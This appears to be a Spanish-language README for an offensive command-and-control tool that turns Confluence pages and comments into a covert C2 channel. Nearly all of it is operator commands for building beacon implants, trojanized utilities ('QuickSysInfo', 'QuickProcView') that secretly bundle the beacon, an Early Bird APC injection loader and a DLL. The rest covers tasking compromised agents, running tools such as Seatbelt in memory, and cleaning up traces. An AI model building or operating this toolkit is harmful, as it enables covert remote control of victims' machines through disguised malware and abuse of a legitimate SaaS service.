Este es un proyecto cuyo objetivo es convertir cualquier otro producto SaaS en un C2; Confluence es solo el principio.
Autor: Dhanush Arvind
Python 3.8+ con requests:
pip install requests
Confluence Cloud cuenta con un token de API (generar en https://id.atlassian.com/manage-profile/security/api-tokens), o credenciales de Confluence Server
MinGW GCC ya sea:
x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64), opython c2_operator.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
setup --space-key MYSPACE
Guarda el Page ID de la salida — lo necesitas para todo lo que sigue.
Para usar un título personalizado:
python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"
Ejecute configure.py para incorporar sus credenciales de Confluence y el ID de página en el código fuente del invocador:
python configure.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
--sleep 10000
| Argumento | Obligatorio | Descripción |
|---|---|---|
--url | Sí | URL base de Confluence |
--email | Sí | Correo electrónico de la cuenta de Confluence |
--api-token | Sí | Token de API de Confluence |
--page-id | Sí | ID de página del Paso 1 |
--sleep | No | Intervalo de beacon en milisegundos (predeterminado: 10000) |
--output | No | Directorio de salida (predeterminado: build) |
--no-wiki-prefix | No | Omitir el prefijo /wiki (para Confluence Server) |
--compile | No | Compilación automática si gcc está en PATH |
Desde PowerShell:
# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32
# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi
# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32
# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c
# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi
# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi
Reemplace /mnt/c/path/to/build con la ruta WSL real al directorio de compilación de su proyecto.
gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi
python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile
Después de la compilación manual, copie los binarios a payloads/:
copy build\*.exe payloads\
copy build\*.dll payloads\
payloads\caller.exe
payloads\QuickSysInfo.exe
Ambos archivos deben estar en el mismo directorio:
cd payloads
earlybird_inject.exe
Ambos archivos deben estar en el mismo directorio:
cd payloads
QuickProcView.exe
c2_operator.py)python c2_operator.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
list
c2_web.py)python c2_web.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
--port 8443
Abre http://127.0.0.1:8443 en tu navegador.
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"
# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"
# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"
Abra la pestaña Console. Seleccione el modo Page Body o Comment. Escriba el comando, seleccione el agente objetivo y haga clic en Send.
Navegue a la página del C2 y publique un comentario:
[cmd] whoami
Dirígete a un agente específico:
[cmd:90bd7c8a] whoami
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a
# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read
# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"
# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"
# Via browser comment
[cmd] exit
# Target specific agent
[cmd:90bd7c8a] exit
python c2_operator.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
cleanup
O mediante la GUI Web: abra la pestaña Cleanup y haga clic en el botón de limpieza.